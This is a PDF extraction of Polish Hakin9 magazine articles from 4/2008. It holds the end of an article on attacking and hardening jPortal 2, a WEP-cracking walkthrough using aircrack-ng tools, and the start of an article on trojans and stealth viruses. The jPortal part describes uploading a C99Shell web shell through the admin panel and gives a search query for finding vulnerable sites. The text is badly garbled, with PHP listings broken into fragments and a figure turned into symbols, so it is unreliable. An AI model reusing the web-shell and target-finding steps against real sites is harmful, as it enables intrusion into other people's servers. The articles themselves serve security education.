if(file_exists('

admin/

'.$file.'

.name

')) {

$name = file('

admin/

'.$file.'

.name

');

echo '

<

td class=

"uni_01"

>

'.$wp1.'

&middot; 

<

a

href=

"admin.php?op='.$file.'"

>

'.$name[0].'

<

/a

><

/td

>

';

function admin_nawigator(

)

 

{

<

b

><

a href=

"admin.php?cmd=logout"

>

wyloguj

<

/a

>

';

//wpisujemy

<?

echo

 '

<

a href=

"admin.php"

 

class=

"t_main"

>

Opcje

administracyjne

<

/a

>

';

if(file_exists('

tajnelogowanie/

'.$file.'

.name

')) {

$name = file('

tajnelogowanie/

'.$file.'

.name

');

if(file_exists('

tajnelogowanie/

'.$file.'

.name

')) {

$name = file('

tajnelogowanie/

'.$file.'

.name

');

echo '

<

td class=

"uni_01"

>

'.$wp1.'

&middot; 

<

a

href=

"panel.php?op='.$file.'"

>

'.$name[0].'

<

/a

><

/td

>

';

function

 tajnelogowanie _nawigator

()

 

{

<

b

><

a href=

"tajnelogowanie .php?cmd=logout"

>

wyloguj

<

/a

>

';

/*Teraz nasz panel do logowania zamiast w pliku admin.php 

znajduje się w pliku tajnelogowanie.php. 
Utrudni to agresorowi zniszczenie naszej 
strony.*/

POCZATKI

background image

18

 

POCZATKI

HAKIN9 4/2008

NIEBEZPIECZNY JPORTAL 2

19

 

HAKIN9 

4/2008

Będziemy używać do tego głównie funkcji typu 

htmlspecialchars()

mysql _ real _ escape _

string()

strip _ tags()

add _ slashes()

mysql _ escape _ string()

. Możemy bawić się 

samemu w zabezpieczanie jPortal 2, modyfikując kod 
– tak, jak pokazano na Listingu 4.

Zmiana nazwy pliku odpowiedzialnego za 

logowanie do panelu administratora również nieco 
utrudni agresorowi włamanie na naszą stronę. 
Opisane to zostało na Listingu 5.

Polecam jednak inną metodę. W Internecie 

udostępniane są łatki na jPortal 2, np. userpatch 
v1.0s
userpatch v1.1s oraz userpatch_beta_v09
Zawierają one szereg uaktualnień do naszego 
CMSa.

Na dzień dzisiejszy nie ma jeszcze oficjalnego 

exploita na UserPatch, możemy go pobrać ze 
strony 6 (patrz ramka W Sieci). Zaoszczędzi to nam 
sporo czasu. 

Jeśli chodzi o błędy SQLInjection, XSS (a także 

wiele innych) i sposoby zabezpieczenia przed nimi, 
to polecam stronę 7, gdyż jest to tam – zwięźle, 
lecz bardzo dobrze – opisane.

Upload PhpShella 

z poziomu Menu Administracyjnego

PhpShell pozwala nam na obsługę strony tak, 
jakbyśmy byli zalogowani na jej serwer FTP (Rysunek 
2). Wgranie Phpshell jest bardzo proste – aby to zrobić, 
należy wejść do Panelu Administratora. Następnie 
przechodzimy do opcji Download i w menu Uploader 
wybieramy plik, który chcemy załadować na serwer. W 
naszym przypadku będzie to nazwashella.php. Jeżeli 
nie modyfikowaliśmy żadnych ustawień, to shell będzie 
znajdować się w katalogu uploads/download. Adres 
do naszego shella będzie przykładowo wyglądać 
tak: http://www.naszastrona.xx/uploads/download/
nazwashella.php

Obsługa PHPShella jest bardzo prosta. Mamy do 

dyspozycji wiele jego odmian – osobiście polecam 
C99Shell, gdyż posiada najszerszą funkcjonalność.

Podsumowanie

Artykuł ukazuje, że nawet bez znajomości 
zaawansowanych technik hakerskich zwykły 
użytkownik może dokonać udanego ataku na 
witrynę. Potencjalnie podatnych stron w Internecie jest 
wiele. Wystarczy wpisać w wyszukiwarce: Powered by 
jPortal 2

Myślę, że administratorzy, którzy używają jPortal 

2, po przeczytaniu artykułu podejmą odpowiednie 
kroki mające na celu zabezpieczenie swojego 
systemu.

Artur Czyż

Od 6 lat interesuje się bezpieczeństwem Sieci. 

Kontakt z autorem: blackgeocities@wp.pl

background image

20

 

HAKIN9

ATAK

4/2008

W

ielu użytkowników komputerów 
decydujących się na zbudowanie 
domowej sieci bezprzewodowej po 

dokonaniu zakupu odpowiednich urządzeń po 
prostu wyciąga je z pudełka i podłącza, bez 
wnikliwego – zapewniającego odpowiedni poziom 
bezpieczeństwa – procesu konfiguracji. Taka forma 
tworzenia sieci jest bardzo szybka, wygodna i 
bezstresowa, lecz niestety, naraża użytkowników 
na ataki. Dobrze, jeśli zakupione urządzenia 
posiadają zaimplementowane najnowsze 
rozwiązania bezpieczeństwa, jednak nie możemy 
raczej na to liczyć nabywając sprzęt z dolnej półki 
cenowej. Znaczna grupa urządzeń do łączności 
bezprzewodowej w paśmie 2.4GHz wykorzystuje 
szyfrowane protokoły transmisji. Jednym z takich 
protokołów jest WEP – Wired Equivalent Privacy
Zapewnia on szyfrowanie transmisji oparte o 
algorytm RC4 z długościami kluczy 64 i 128 bitów. 
Spotyka się także rozwiązania z kluczami o długości 
256 bitów, jednak długość klucza nie wpływa w 
tym przypadku na poprawę bezpieczeństwa. W 
każdym kluczu 24 bity przeznaczone są na wektor 
inicjujący (ang. Initialization Vector – IV), który jest 
wysyłany w każdej ramce. Prawdziwa wartość 
kluczy WEP to zatem 40 i 104 bity. Algorytm RC4 
jest dość powszechnie używany , możemy znaleźć 
jego implementacje w SSL, SSH czy w popularnym 
protokole BitTorrent.

W roku 2001 Scott Fluhrer, Itsik Mantin oraz 

Adi Shamir opublikowali analizę algorytmu RC4 i 
wskazali możliwy sposób jego złamania. Wówczas 

GRZEGORZ BŁOŃSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

co to jest WEP,

jak wygląda atak na WEP,

jak złamać WEP przy pomocy 

ataku PTW.

CO POWINIENEŚ 

WIEDZIEĆ

umieć zainstalować 

i skonfigurować kartę WiFi,

znać system Linux i sposób 

pracy w konsoli.

do złamania hasła potrzeba było przechwycić od 4 
do 6 milionów pakietów danych. Atak wykorzystujący 
techniki przez nich opisane określano mianem 
ataku FMS. Nieco później – w roku 2004 – haker 
KoReK udoskonalił atak na WEP, zmniejszając liczbę 
wymaganych pakietów do wartości z przedziału od 
500 tysięcy do 2 milionów. Andreas Klein w roku 
2005 opublikował swoją własną analizę algorytmu 
RC4, w której opisał teoretyczną możliwość złamania 
hasła z 50-procentowym prawdopodobieństwem 
po zebraniu tylko 40 tysięcy pakietów. W roku 2007 
trzech naukowców z Politechniki w Darmstadt, 
wykorzystując analizę Kleina, dokonało ataku 
przechwytując pakiety i jednocześnie wykonując 
wstrzykiwanie pakietów ARP w celu zwiększenia 
wydajności i szybkości ataku. Od pierwszych liter ich 
nazwisk powstała nazwa ataku – PTW. Ci naukowcy 
to Erik Tews, Andrei Pychkine oraz Ralf-Philipp 
Weinmann.

Schemat ataku

Postaram się przedstawić schemat ataku na 
algorytm WEP w możliwie prosty sposób.

Wykorzystam do tego celu 

schemat zamieszczony w serwisie 
www.wirelessdefence.org, który przetłumaczyłem 
na potrzeby tego artykułu za zgodą 
administratora wspomnianego serwisu – Matta 
Byrne'a.

Schemat ten jest bardzo typowy dla 

przypadku ataku na sieć zabezpieczoną 
przy pomocy WEP. Jak widać na Rysunku 1. 

Stopień trudności

Hakowanie 

WiFi

W obecnych czasach sieci bezprzewodowe są tak popularne 

że praktycznie w każdym skupisku ludzkim można je znaleźć.W 

miastach oraz na wsiach ludzie korzystają z przeróżnego rodzaju 

sieci  w tym także bezprzewodowych. Łączność radiowa pomiędzy 

komputerami jest bardzo użytecznym i wygodnym rozwiązaniem 

lecz czy wystarczająco bezpiecznym? 

background image

21

 

HAKIN9 

SCHEMAT ATAKU NA WEP

4/2008

schemat działania atakującego jest 
nieskomplikowany.

Opisując poszczególne etapy ataku, 

postaram się przedstawić potencjalne 
możliwości przeciwdziałania takim 
praktykom.

Na potrzeby niniejszego artykułu 

stworzyłem sieć testową opartą o punkt 
dostępowy w postaci routera WAP54G 
firmy Linksys oraz kartę klienta sieci GN-
WBKG firmy Gigabyte. Ataku dokonywałem 
za pomocą komputera wyposażonego 
w kartę EW-7318USg firmy Edimax przy 
wykorzystaniu programu Aircrack-ng w 
wersji 0.9.1.

W konfiguracji routera znalazło 

się 10-znakowe hasło WEP w wersji 
64-bit (89402aab1c), brak jest tabeli 
dopuszczalnych adresów MAC 
(gdyż często spotyka się właśnie 
takie konfiguracje), zostało włączone 
rozgłaszanie ESSID – testap, oraz 
zdefiniowany kanał pracy 11. Tryb pracy 
routera to Infrastruktura.

Pierwszą fazą ataku jest nasłuch 

sieci bezprzewodowych, który prowadzi 
do ustalenia, jakiego rodzaju sieci 
znajdują się w zasięgu atakującego. 
Przy wykorzystaniu odpowiednich kart 
sieciowych z możliwością podłączenia 
zewnętrznych anten kierunkowych 
o dużym zysku, nasłuch może być 
prowadzony na bardzo duże odległości, 
dochodzące nawet do kilku kilometrów. 
Do nasłuchiwania sieci używałem 
graficznej wersji dobrze znanego 
programu Kismet. Gkismet – bo tak 
nazywa się wersja graficzna – nie 
jest bardziej funkcjonalna niż wersja 
pracująca w konsoli.

Jak widać na Rysunku 2. program 

odnalazł mój punkt dostępowy testap 
oraz jego BSSID, odczytał maksymalny 
transfer, kanał pracy, tryb pracy AP, 
szyfrowanie WEP – czyli całkiem sporo 
informacji zaledwie po krótkiej chwili 
działania programu. Od pierwszej fazy 
ataku zależy bardzo wiele, zatem należy 
wykonywać ją z dużą dokładnością i 
starannością.

W tym momencie należy zauważyć 

że administrator sieci bezprzewodowej 
może uniknąć wykrycia jego sieci jeśli 
ograniczy moc urządzeń radiowych do 
niezbędnego minimum pozwalającego na 
korzystanie z tej sieci oraz zastosuje anteny 

Rysunek 1. 

Schemat ataku na WEP

�����������������

��������������

��������������������������������������

��������������

���

���

�����������������

�����������������

����

������������

������������

�������������

������

���

���

������������

�������������

��������

�����������

�����������

������

���

���

��������������

���������������

���������������

�������

�����������

��������������

���

���

������������

�������������

����������������

��������

��������������

��������������

����������������

����������

���

���

���������������

�������������

�����������������

����������������

����������

����������������

�������������������

�������������������������

���������������

���������������

������

���

����������

��������

�������

���

���������������

���������������

��������������

����������������������������������

�������������������

����������������������������������������������

�����������

background image

ATAK

22

 

HAKIN9 4/2008

SCHEMAT ATAKU NA WEP

23

 

HAKIN9 

4/2008

zawężające pole emisji sygnałów do 
obszaru w którym ma działać sieć. Często 
ta możliwość jest pomijana już na wstępie 
konfigurowania sieci bezprzewodowej i 
ułatwia przeprowadzenie ataku.

W czasie prowadzenia nasłuchu 

atakujący zbiera podstawowe informacje 
o sieciach takie jak ESSID , BSSID , kanał 
na jakim pracują , siła sygnału sieci. 
Potencjalny atakujący może nasłuchiwać 
przez długi okres czasu chcąc zdobyć 
informacje o klientach podłączających się 
do danej sieci czy konkretnego punktu 
dostępowego.

W przypadku sieci z jednym punktem 

dostępowym AP zupełnie niecelowe jest 
stosowanie ciągu ESSID, ponieważ z 
założenia jest on potrzebny do komunikacji 
między punktami dostępowymi w sieciach 
bardziej rozbudowanych.

BSSID będący adresem MAC punktu 

dostępowego także nie powinien być 
rozgłaszany w sieci, jeśli nie ma takiej 
potrzeby i jest możliwość wyłączenia jego 
rozgłaszania.

Po przechwyceniu przynajmniej 

jednego pakietu zawierającego dane 
atakujący próbuje złamać klucz przy 

pomocy narzędzia do aktywnego ataku 
słownikowego o nazwie wepattack. 
Program dostępny jest pod adresem 
http://wepattack.sourceforge.net. W 
tym momencie pora na drobną uwagę 
dotyczącą źródeł programu. Podczas 
kompilacji programu wystąpił u mnie błąd 
(Listing 1.)

Jak się okazuje, w pliku Makefile 

znajduje się błąd w linii 24. Linia wygląda 
tak :

$(LD) $(LDFLAGS) -o $@ wepattack.
o rc4.o wepfilter.o log.o\

a powinna wyglądać tak :

$(LD) $(LDFLAGS) -o $@ wepattack.
o rc4.o wepfilter.o log.o \

(brakuje jednego znaku spacji przed 
znakiem podziału linii). Po poprawieniu 
błędu program kompiluje się i działa 
bez problemu. Niestety, w przypadku 
hasła, które zdefiniowałem w mojej sieci 
testowej, użycie programu wepattack 
jest bezcelowe i nie może zakończyć się 
złamaniem hasła.

Przy wykorzystaniu dużej bazy słów atak 

tego typu ma duże szanse powodzenia 
– ale tylko w przypadku hasła prostego, 
będącego wyrazem, który jest powszechnie 
używany.

Jeśli jednak nie uda się przechwycić 

żadnego pakietu, atakujący korzysta z 
możliwości ataku poprzez wstrzykiwanie 
pakietów ARP w celu zwiększenia ilości 
pakietów wysyłanych przez AP, które 
następnie są przechwytywane.

Atak wstrzykiwania pakietów 

wykonywany jest przy pomocy programu 
aireplay-ng z parametrem -3 .Jak widać 
na Rysunku 3. podczas wstrzykiwania 
pakietów program wyświetla ilość pakietów 
wysyłanych w ciągu sekundy (wartość 

pps

). 

W Sieci:

•   http://www.aircrack-ng.org,
•   http://wirelessdefence.org,
•   http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw,
•   http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html,
•   http://eprint.iacr.org/2007/120.pdf,
•   http://www.kismetwireless.net,
•   http://gkismet.sourceforge.net.

Rysunek 2. 

Gkismet – graficzna wersja Kismet

Rysunek 3. 

Aireplay-ng podczas ataku wstrzykiwania ARP

Listing 1. 

Błąd podczas kompilacji

gcc

  

-

o

 

wepattack

 

wepattack

.

o

 

rc4

.

o

 

wepfilter

.

o

 

log

.

o

\

        

modes

.

o

 

misc

.

o

 

verify

.

o

 

keygen

.

o

 

-

lpcap

 

-

lz

 

-

lcrypto

gcc

:

 

log

.

omodes

.

o

:

 

Nie

 

ma

 

takiego

 

pliku

 

ani

 

katalogu

make

:

 

***

 

[

wepattack

]

 

B

łą

d

 

1

background image

ATAK

22

 

HAKIN9 4/2008

SCHEMAT ATAKU NA WEP

23

 

HAKIN9 

4/2008

To dość istotny parametr, pozwalający 
na skracanie czasu ataku. Maksymalna 
wartość parametru to 1024, a definiuje 
się ją przy pomocy przełącznika się 
parametrem –[wartość].

Zmniejszenie szans powodzenia ataku 

słownikowego na sieć zabezpieczoną przy 
pomocy WEP może być osiągnięte dzięki 
zdefiniowaniu odpowiednio długiego hasła. 
Nie można wykorzystywać do jego budowy 
znanych słów, a najlepiej, gdy jest to ciąg o 
długości co najmniej dwunastu znaków.

W przypadku, gdy atakującemu uda się 

złamać hasło, jego droga do podłączenia 
się do sieci znacznie się skraca – co 
widać na schemacie. Gdy jednak atak 
słownikowy się nie powiedzie, atakujący 
próbuje zebrać większą ilość pakietów w 
celu wykorzystania ataku FMS lub PTW. 
Do przeprowadzenia ataku FMS musi 
on przechwycić stosunkowo dużą ilość 
pakietów, często liczoną w milionach. 
Jednak atak PTW pozwala na złamanie 
hasła przy użyciu dużo mniejszej ilości 
pakietów. Przy zebraniu 40.000 pakietów 
szanse na złamanie hasła są pięćdziesięc
ioprocentowe. Przy ilości 80.000 pakietów 
klucz jest łamany z prawie 100-procentową 
skutecznością.

W tym miejscu warto wspomnieć, 

że im dłuższe i bardziej skomplikowane 
hasło, tym trudniej będzie je złamać. 
Jednak technika PTW pozwala na bardzo 
efektywne ataki, co sugeruje rezygnację z 
wykorzystywania szyfrowania WEP w ogóle.

Po złamaniu hasła atakujący może już 

mieć swobodny dostęp do sieci WLAN, jeśli 
nie korzysta ona ze stałej tablicy adresów 
MAC kart sieciowych.

W przypadku, gdy sieć korzysta z 

takiej tablicy, atakującemu pozostaje 
podsłuchiwanie stacji przyłączających się 
do AP w celu ustalenia ich adresów MAC 
i – po rozłączeniu się jednego z klientów 

– skorzystanie z jego adresu MAC i 
podłączenie się do sieci z innym adresem 
IP (w sieciach bezprzewodowych nie 
występuje problem konfliktu adresów IP). 
Może jeszcze dojść kwestia zdefiniowania 
adresu IP w przypadku, gdy w sieci nie 
są one nadawane poprzez protokół 
DHCP. Jak widać, droga od rozpoczęcia 
nasłuchu do właściwego włamania do 
sieci nie jest zbyt skomplikowana, choć 
w zależności od przebiegu ataku może 
być krótsza bądź dłuższa.

W sieci, którą przygotowałem 

do testów, udało mi się złamać 
dziesięcioznakowy klucz WEP 64-
bit po zebraniu tylko nieco ponad 
5000 pakietów zawierających wektory 
inicjujące. Posłużył mi do tego celu 
atak PTW, przeprowadzony przy użyciu 
programu aircrack-ng z ustawionym 
parametrem –z. Było to ewidentnie dzieło 
przypadku i szczęścia, ponieważ kolejne 
próby przy różnych liczbach zebranych 
pakietów nie pozwoliły na jego złamanie 
– aż do zebrania ponad 40000 pakietów 
zawierających wektory inicjalizacji.

Co ciekawe, program pracował tylko 43 

sekundy, zanim znalazł hasło – co widać 
na Rysunku 4. Jeśli atakujący także będzie 
miał trochę szczęścia, jego działania 
przeciwko sieci WiFi mogą być bardzo 
krótkie i – co bardziej niepokojące – 
skuteczne, co w efekcie może doprowadzić 
do kompromitacji naszej sieci.

Udany atak na szyfrowaną przy 

pomocy WEP sieć bezprzewodową to 
niestety już dziś kwestia czasu krótszego 
niż minuta (w odpowiednich warunkach). 
W związku z tym nawet WEP 256-bit, który 
został zastosowany w urządzeniach tylko 
niektórych producentów, nie podnosi 
znacząco poziomu bezpieczeństwa. 
Wydaje się, że jedynie stosowanie 
równocześnie kilku rodzajów zabezpieczeń 

jest nam w stanie dać choćby namiastkę 
bezpieczeństwa – bo o zupełnym 
bezpieczeństwie w przypadku sieci 
bezprzewodowych niestety mówić nie 
można.

W dzisiaj dostępnych urządzeniach 

WiFi producenci implementują metody 
szyfrowania takie, jak WPA w różnych 
odmianach czy WPA2, które niwelują 
słabe punkty szyfrowania WEP, operują na 
kluczach o większej długości, pozwalając 
na znacznie lepsze zabezpieczenie sieci 
bezprzewodowej, jednak nie należy ufać 
takim zabezpieczeniom bezgranicznie.

W przypadku, gdy administrator chce 

zminimalizować możliwości ataku na 
jego sieć, może to zrobić stosując różne 
metody jednocześnie i zachowując kilka 
podstawowych zasad bezpieczeństwa, 
takich jak: autoryzacja użytkowników, 
zarządzanie uprawnieniami 
użytkowników czy monitorowanie 
przesyłanych danych.

Podsumowanie

Sieci bezprzewodowe zagościły na 
stałe w naszym otoczeniu. Jest cała 
masa miejsc publicznych oferujących 
bezprzewodowy dostęp do internetu. 
Korzystamy z niego w domach, w 
sieciach osiedlowych, a także w małych 
firmach.

Zdarzają się także przypadki 

wykorzystywania WiFi w dużych 
firmach, gdy istnieje taka potrzeba. 
Wiele osób budujących domowe 
sieci bezprzewodowe podchodzi do 
tego bardzo swobodnie, nie dbając 
o bezpieczeństwo. Mimo tego, że 
wielu producentów oferuje w swoich 
urządzeniach znacznie silniejsze 
zabezpieczenia, wiele osób zabezpiecza 
swoje sieci korzystając jeszcze z 
szyfrowania WEP, które – jak pokazuje 
ten artykuł – jest bardzo podatne na 
ataki. Do technologii dostępu radiowego 
należy podchodzić z pewnym dystansem 
odnosząc się do bezpieczeństwa, gdyż 
– jak widać – nie jest z nim tak dobrze, jak 
byśmy sobie tego życzyli.

Grzegorz Błoński

Autor z wykształcenia jest informatykiem, 

certyfikowanym specjalistą IBM. Pracuje w dużej firmie 

o zasięgu światowym. Zajmuje się administracją oraz 

bezpieczeństwem sieciowym.

Kontakt z autorem: mancymonek@mancymonek.pl

Rysunek 4. 

Złamany klucz WEP 

background image

24

 

HAKIN9

ATAK

4/2008

T

ekst częściowo nawiązuje do mojego cyklu 
związanego z wirusami komputerowymi. 
Nie jest to poradnik, jak napisać wirusa, 

tylko artykuł je opisujący. Myślę jednak, że jego 
lektura może być dobrym początkiem dla osób, 
które chciałyby  zająć się zawodowo wirusami 
(np. uczestnicząc w tworzeniu oprogramowania 
antywirusowego). 

Koń trojański 

– pierwsze spojrzenie 

Z punktu widzenia zaatakowanego użytkownika, jest 
to program, który – krótko mówiąc – siedzi sobie 
w naszym komputerze, analizuje jego działanie i 
pozwala na nieautoryzowany dostęp oraz zarządzanie 
komputerem. Jednak takie pojęcie nic nam nie mówi 
o specyfice tego rodzaju oprogramowania. 

Według definicji podanej przez specjalistę od 

wirusów, dr Alana Solomona, w pracy zatytułowanej 
Wszystko o wirusach (All About Viruses) trojan to 
program, który robi więcej, niż oczekuje od niego 
użytkownik, a te dodatkowe zadania są z punktu 
użytkownika niepotrzebne... Czym różni się zatem 
wirus od trojana? Aktualnie różnice między jednym 
a drugim zacierają się. Jednak wszystko zaczęło się 
od celu: wirus miał być programem, który infekuje 
dyski twarde, dyskietki, czy pliki. W swojej strukturze 
miał zawierać kod który niszczy dane, pozwala 
go uśpić – ale gdy nadejdzie pora zaatakować, 
w mniejszym lub większym stopniu poprzez 
dewastację systemu uprzykrzyć życie użytkownikowi. 
Inaczej wygląda kwestia konia trojańskiego. 

RAFAŁ PODSIADŁY

Z ARTYKUŁU 

DOWIESZ SIĘ

gdzie szukać backdoorów,

na co zwracać uwagę pisząc 

złośliwe oprogramowanie,

jak wykorzystywać malware do 

ataku,

jak się przed nim chronić.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy elektroniki 

cyfrowej,

posiadać umiejętność 

programowania w asemblerze.

Termin ten pochodzi z Iliady Homera, 

opisującej oblężenie Troi przez Greków. Grecy, po 
wielu miesiącach bezskutecznych walk, pozornie 
wycofali się, pozostawiając pod miastem wielkiego 
drewnianego konia. Trojanie w akcie zwycięstwa 
wprowadzili konia do wnętrza miasta jako łup 
wojenny. W środku konia była ukryta grupa 
żołnierzy, którzy w nocy otworzyli od wewnątrz 
bramę miasta, umożliwiając w ten sposób 
nieautoryzowane wtargnięcie armii greckiej.

Najpopularniejszym sposobem 

rozpowszechniania koni trojańskich jest 
umieszczanie w Internecie darmowego 
oprogramowania, zawierającego ukrytą dodatkową 
funkcjonalność. Użytkownicy sieci p2p są 
narażeni na podobne działania, gdyż dopiero po 
pobraniu pliku i jego przeskanowaniu programem 
antywirusowym mogą ocenić zawartość pod 
względem bezpieczeństwa. Infekcja następuje 

Stopień trudności

Użytkownik 

kontra wirusy 

90% szkodliwego oprogramowania trafia do naszego komputera, 

ponieważ nie przestrzegamy zasad bezpiecznego jego 

użytkowania. Chciałbym w tym artykule przedstawić niektóre 

techniki ataków, pokazać, w których miejscach ukrywają się 

trojany.

Rysunek 1. 

Wirusy

background image

25

 

HAKIN9 

KTO KIERUJE KOMPUTERAMI?

4/2008

najczęściej poprzez strony internetowe, które 
są spreparowane tak, by instalowały złośliwe 
oprogramowanie tuż po wejściu na stronę. 
Zwykle mamy do czynienia z formą ataku 
socjotechnicznego: któż z nas nie dostał 
zaproszenia czy komunikatu – choćby na 
GG – w rodzaju: Cześć, widziałam Cię na 
fotce – super zdjęcia: www.
(i tu następuje 
adres złośliwej strony) lub innej podobnej 
treści, zachęcającej do odwiedzenia 
określonej strony WWW. Często podany 
link odwołuje się do pliku z rozszerzeniem 
exe. Użytkownik jest wtedy pytany, czy 
uruchomić oprogramowanie i niejednokrotnie 
myśli, iż otwiera po prostu przeglądarkę 
internetową. A tymczasem uruchamia swoim 
komputerze plik exe, zawierający szkodliwe 
oprogramowanie.

Charakterystyka

wirusa i backdoora 

Programiści do pisania wirusów w większości 
przypadków wykorzystują czysty asembler. 
Spowodowane jest to głównie specyfiką 

kodu generowanego przez ten język, a 
zwłaszcza jego zwięzłością. Kod maszynowy 
szkieletowego programu, który z punktu 
widzenia użytkownika nie robi nic, w językach 
wysokiego poziomu zajmie od kilkuset 
bajtów do kilku, a nawet kilkuset kilobajtów. 
W asemblerze podobny program zajmie 
od jednego (instrukcja RET w pliku COM) 
do czterech bajtów (wywołanie funkcji 

4Ch

 

przerwania 21h). Spowodowane jest to tym, 
iż do każdego wygenerowanego przez siebie 
programu kompilatory języków wysokiego 
poziomu dodają standardowe prologi i epilogi, 
niewidoczne dla piszącego w danym języku 
programisty, które są odpowiedzialne m. in. 
za obsługę błędów, stosu, operacje wejścia/
wyjścia itp. Można powiedzieć, że długość 
programu wynikowego (rozumianego jako 
kod maszynowy) jest wprost proporcjonalna 
do poziomu języka programowania, w którym 
został on napisany. Na korzyść asemblera 
przemawia także fakt, iż z jego poziomu mamy 
bardzo dużą swobodę w dostępie do pamięci 
czy portów, a programista ma możliwość 

świadomego wpływu na kształt powstałego 
kodu, np. w zakresie używanych instrukcji czy 
rozwiązań programowych. 

Jak widać, programy napisane 

w asemblerze są optymalne pod 
względem szybkości działania i długości 
kodu, a więc język ten jest jakby 
stworzony do programowania wirusów. 

Kod źródłowy trojana jest zwykle oparty 

o język wyższego poziomu, np. C++ czy 
Delphi – pozwala to na zbudowanie większej 
liczby funkcji, służących do symulowania 
nieszkodliwego, a nawet pożytecznego 
dla użytkownika-ofiary oprogramowania, 
w krótszym czasie. W treści kodu mogą 
występować wstawki języka niższego 
poziomu, przydatne w celu głębszego ukrycia 
złośliwego fragmentu kodu, realizującego np. 
infekcję kolejnych plików czy komputerów albo 
proces klonowania programu.

Technika stealth

Wirusy komputerowe modyfikują pliki 
i sektory, zmieniając ich zawartość (w 

Struktury opisujące

Struktura bloku opisu pliku FCB (zwykłego)

•   00 – numer napędu (0=domyślny, 1=A, 2=B,...); jeżeli jest równy 0FFh, 

to mamy do czynieia z rozszerzonym blokiem opisu pliku FCB,

•   01-08 – 8 bajtów nazwy pliku,
•   09-0B – 3 bajty rozszerzenia pliku,
•   0C-0D – numer aktualnego bloku, 
•   0E-0F – długość logicznego rekordu,
•   10-13 – długość pliku,
•   14-15 – data ostatniej modyfikacji pliku,
•   16-17 – czas ostatniej modyfikacji pliku,
•   18 – ilość SFT (System File Table) dla pliku,
•   19 – atrybuty, znaczenie poszczególnych bitów przedstawiono 

poniżej,

•   bity 7-6:

•   00 – SHARE.EXE niezaładowany, plik dyskowy,
•   01 – SHARE.EXE niezaładowany, sterownik,
•   10 – SHARE.EXE załadowany, plik zdalny,
•   11 – SHARE.EXE załadowany, plik dyskowy lub sterownik,

•   bity 5-0 to mniej znaczące 6 bitów ze słowa atrybutów urządzenia

1A-1F – zawartość zależna od bajtu 19, w zależności od wartości,    

       bitów 7-6 tego bajtu należy ją interpretować jako: 
•   wartość 11,

•   1A-1B – numer pierwszej JAP (jednostki alokacji) pliku,
•   1C-1D – określa numer rekordu w dostępie dzielonym,
•   1E – atrybuty pliku,
•   1F – nie używany,

•   wartość 10:

•   1A-1B – uchwyt sieciowy,
•   1C-1F – identyfikator sieciowy, 

•   wartość 01:

•   1A-1D – wskaźnik do nagłówka sterownika

•   1E-1F – nie używane,

•   wartość 00:

•   1A – bajt informacyjny,
•   bit 7: – atrybut tytko do odczytu w SFT,
•   bit 6: – atrybut archive w SFT,
•   bity 5-0: – wyższe bity numeru sektora,
•   1B-1C – numer pierwszej JAP pliku,
•   1D-1F – niższe bity sektora zawierającego adres w katalogu,
•   1F – ilość pozycji katalogu w sektorze,

20 – bieżący rekord
21-24 – numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 

wynosi 64 bajty, bardziej znacząca część jest pomijana

Struktura bloku opisu pliku FCB (rozszerzonego)

•   00 – wartość 0FFh oznacza blok rozszerzony,
•   01-05 – zarezerwowane,
•   06 – atrybuty pliku,
•   07-2B – zwykły blok opisu FCB (patrz poprzednia tabela).

Struktura pola opisu pozycji katalogu

•   00-07 – nazwa pliku,
•   08-0A – rozszerzenie pliku,
•   0B – atrybuty pliku, 
•   0C-15 – zarezerwowane,
•   16-17 – czas ostatniej modyfikacji pliku, 
•   18-19 – data ostatniej modyfikacji pliku, 
•   1A-1B – numer pierwszej JAP, 
•   1C-1F – długość pliku.

background image

ATAK

26

 

HAKIN9 4/2008

KTO KIERUJE KOMPUTERAMI?

27

 

HAKIN9 

4/2008

przypadku plików zwykle powiększają 
jeszcze ich długość). Teoretycznie więc, 
aby wykryć wirusa, wystarczy odczytać 
plik lub sektor i odnaleźć w nim, poprzez 
operację skanowania, odpowiednią 
sekwencję (sygnaturę) wirusa. I 
rzeczywiście, metoda ta stosowana była 
z dużym powodzeniem aż do momentu, 
gdy pojawił się pierwszy wirus używający 
techniki stealth

Słowo stealth znaczy po angielsku 

niewidzialny. Takimi właśnie wydają się 
wirusy używające tej ciekawej sztuczki, 
która polega na kontroli odpowiednich 
funkcji systemu BIOS, obsługujących 
pamięć i operacje dyskowe.

W momencie próby uzyskania 

dowolnego rodzaju dostępu do 
zainfekowanego pliku lub sektora 
uruchamiane są mechanizmy 
wirusa, które mają na celu oszukanie 
użytkownika. 

Oszustwo polega na tym, iż fizycznie 

zarażony obiekt, po odpowiedniej obróbce 
przez wirusa, wygląda, jakby był nie 
zainfekowany. Różne odmiany techniki 
stealth zostały omówione poniżej.

Podawanie
prawdziwych długości plików 

Wirusy wykorzystujące tę technikę oszukują 
system poprzez podawanie sfałszowanych, 
prawidłowych długości zainfekowanych 
plików, wyświetlanych po wykonaniu 
polecenia DIR lub też w oknie programu 
Menedżera okien – tak, aby zbiory 
wyglądały na oryginalne.

Wyżej wymienione programy używają 

do przeszukiwania zawartości katalogu 
jednej z trzech par funkcji, z których 
pierwsza poszukuje pierwszego, a druga 
kolejnego wystąpienia w katalogu. Funkcje 
te to (

11/12/21

), (

4E/4F/21

), (

714E/714F/

21

). Oszukujący system wirus przejmuje 

kontrolę nad tymi funkcjami (niekoniecznie 
nad wszystkimi) i monitoruje odpowiednie 
pola struktur, na których operuje dana 
funkcja. W momencie wykonywania jednej 
z funkcji wirus wywołuje pierwotny program 
obsługi przerwania, a następnie modyfikuje 
elementy odpowiedniej struktury:

•   pozycji katalogu (funkcje 

11/12

),

•   DTA – Disk Transfer Area (funkcje 

4E/4F

),

•   FindData (funkcje 

714E/714F

).

Modyfikacja polega na odjęciu długości 
wirusa od długości pliku opisywanej 
w odpowiednim polu struktury oraz 
– najczęściej – pewnej modyfikacji czasu 
lub daty, odnoszących się do momentu 
zainfekowania pliku. 

Powyższe operacje wykonywane są 

oczywiście tylko w przypadku obecności 
wirusa w konkretnym pliku.

Polecenie DIR 
wywoływane z poziomu DOS

Polecenie DIR używa do przeglądania 
zawartości katalogu pary dwóch 
przeznaczonych specjalnie do tego celu 
funkcji (

11,12/21

). Obie funkcje korzystają z 

najstarszej metody operowania na plikach, 
a mianowicie z tzw. bloku opisu pliku FCB 
(ang. File Control Block), podawanego 
jako parametr wejściowy do funkcji oraz z 
